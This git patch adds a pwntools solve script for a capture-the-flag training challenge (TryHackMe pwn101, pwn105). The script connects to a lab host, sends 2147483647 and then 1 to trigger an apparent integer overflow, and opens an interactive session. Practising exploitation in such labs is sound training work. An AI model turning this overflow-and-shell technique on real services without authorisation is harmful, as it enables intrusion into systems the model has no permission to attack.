From 5534052b969ad4f89ebd339fabb61ffe9b6b542b Mon Sep 17 00:00:00 2001 From: jc Date: Mon, 28 Oct 2024 01:28:03 +0300 Subject: [PATCH] solve script --- thm_pwn101/pwn105/a.py | 16 ++++++++++++++++ 1 file changed, 16 insertions(+) create mode 100644 thm_pwn101/pwn105/a.py diff --git a/thm_pwn101/pwn105/a.py b/thm_pwn101/pwn105/a.py new file mode 100644 index 0000000..49b44f1 --- /dev/null +++ b/thm_pwn101/pwn105/a.py @@ -0,0 +1,16 @@ +#!/usr/bin/python3 + +from pwn import * + +context.binary = target = ELF("./pwn105", checksec=False) +# r = process() +r = remote("10.10.167.194", 9004) + +# funcs +s = lambda a: r.sendlineafter(b">> ", a) + +# pop +s(b"2147483647") +s(b"1") + +r.interactive() \ No newline at end of file